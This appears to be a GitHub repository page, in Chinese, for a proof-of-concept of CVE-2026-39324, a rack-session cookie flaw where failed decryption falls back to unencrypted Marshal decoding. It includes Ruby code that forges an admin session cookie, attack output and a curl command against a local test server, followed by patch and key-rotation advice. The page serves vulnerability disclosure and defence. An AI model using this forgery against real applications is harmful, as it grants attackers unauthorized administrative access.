sm1ee/CVE-2026-39324

GitHub: sm1ee/CVE-2026-39324

这是一个针对 rack-session 组件 CVE-2026-39324 漏洞的概念验证工具,用于演示会话认证绕过与权限提升风险。

Stars: 0 | Forks: 0

# CVE-2026-39324 漏洞利用 PoC **Rack::Session::Cookie 解密失败回退到接受未加密的 Cookie** | | | |--|--| | 公告 | [GHSA-33qg-7wpp-89cq](https://github.com/rack/rack-session/security/advisories/GHSA-33qg-7wpp-89cq) | | 软件包 | rack-session (RubyGems) | | 受影响版本 | <= 2.1.1 | | 已修复版本 | 2.1.2 | ## 概述 使用 `secrets:` 的 `Rack::Session::Cookie` 应当只接受加密的 Cookie。但是当解密失败时,它并不会拒绝该 Cookie —— 而是回退到默认的 `Base64::Marshal` 编码器。 攻击者可以发送一个纯 `Base64(Marshal.dump(...))` Cookie,服务器会在不知道任何密钥的情况下将其作为有效的会话数据接受。 ## 触发条件 - `rack-session` <= 2.1.1 - 使用 `secrets:` 选项的 `Rack::Session::Cookie` - 应用使用会话值(如 `user_id`、`role` 等)进行授权 - 攻击者可以向目标发送 HTTP 请求 不受影响: - `secret:`(单数)—— 使用 HMAC 签名,代码路径不同。只有 `secrets:`(复数,加密 Cookie 模式)存在漏洞。 - Rails —— 使用 `ActionDispatch::Session::CookieStore`,独立实现。 ## 根本原因 ``` # lib/rack/session/cookie.rb # Fallback coder 总是被创建,无论 secrets: config 如何 @coder = options[:coder] ||= Base64::Marshal.new # 尝试解密 — 对于未加密的 cookie 全部失败 encryptors.each do |encryptor| session_data = encryptor.decrypt(cookie_data) rescue next break end # BUG: 不拒绝,回退到未加密 coder if !session_data && coder session_data = coder.decode(cookie_data) # → Marshal.load(Base64.decode64(...)) end ``` `secrets:` 路径上的解密失败本应是致命的。相反,它将 Cookie 传递给了 `coder.decode()`,因此纯 Cookie 被加载为会话数据。 ## 复现 ``` poc/ ├── Gemfile rack-session 2.1.1 ├── server.rb Rack app with secrets: config ├── verify.rb Baseline check (normal behavior) └── attack.rb Session forgery (the exploit) ``` ### 运行 ``` cd poc bundle install ruby server.rb & # start vulnerable server ruby verify.rb # confirm normal behavior ruby attack.rb # forge cookie → admin access ``` ### server.rb 使用 `secrets:` 进行加密 Cookie 的 Rack 应用。两个用户:id=1(普通用户),id=2(管理员)。会话中仅存储 `user_id`;管理员检查是服务端查询。 ### verify.rb 确认服务器工作正常: | 请求 | 预期结果 | |---------|----------| | `GET /admin`(无 Cookie) | 403 | | `POST /login?id=1` | 200,加密 Cookie | | `GET /admin`(user id=1 的 Cookie) | 403 | ### attack.rb 在没有任何密钥的情况下伪造会话 Cookie。 **1) 伪造 Cookie:** ``` payload = { "session_id" => "attacker-forged", "user_id" => 2 } cookie = Base64.strict_encode64(Marshal.dump(payload)) ``` **2) 服务器收到伪造 Cookie 时的流程:** ``` encryptor #1 decrypt → HMAC invalid encryptor #2 decrypt → HMAC invalid fallback → coder.decode() → Marshal.load → attacker session accepted → session["user_id"] = 2 → admin user resolved → 200 OK ``` ### 输出 ``` $ ruby attack.rb --- CVE-2026-39324: Session Forgery --- Target: http://127.0.0.1:9416 Payload: {"session_id" => "attacker-forged", "user_id" => 2} Cookie: rack.session=BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiFGF0dGFja2VyLWZvcmdlZAY7AFRJIgx1c2VyX2lkBjsAVGkH Session cookie encryptor error: HMAC is invalid ← encryptor #1 failed Session cookie encryptor error: HMAC is invalid ← encryptor #2 failed, but cookie not rejected Status: 200 Body: {"status" => "ok", "message" => "admin panel", "session_hash" => {"session_id" => "attacker-forged", "user_id" => 2}, "current_user" => {"id" => 2, "email" => "admin@example.test", "admin" => true}} [!] VULNERABLE — forged user_id=2 accepted, admin access granted. ``` 两次 HMAC 检查均失败,但 Cookie 并未被拒绝 —— 回退编码器接受了它,攻击者因此获得了管理员权限。 ### curl ``` ruby -rbase64 -e 'puts Base64.strict_encode64(Marshal.dump({"user_id"=>2}))' # → BAh7BkkiDHVzZXJfaWQGOgZFVGkH curl http://127.0.0.1:9416/admin -H 'Cookie: rack.session=BAh7BkkiDHVzZXJfaWQGOgZFVGkH' ``` ## 缓解措施 1. 将 `rack-session` 更新至 >= 2.1.2 2. 更新后轮换会话密钥 —— 伪造的会话可能在打补丁之前已被接受并重新签发
标签:Auth Bypass, Base64, Cookie, CVE-2026-39324, Exploit, GHSA-33qg-7wpp-89cq, Marshal, PoC, Rack, Rack::Session::Cookie, Ruby, RubyGems, Session, Session Forgery, Web安全, 伪造, 加密, 安全助手, 安全漏洞, 提权, 数据处理, 暴力破解, 漏洞扫描器, 知识库, 网络安全, 蓝队分析, 解密, 认证绕过, 隐私保护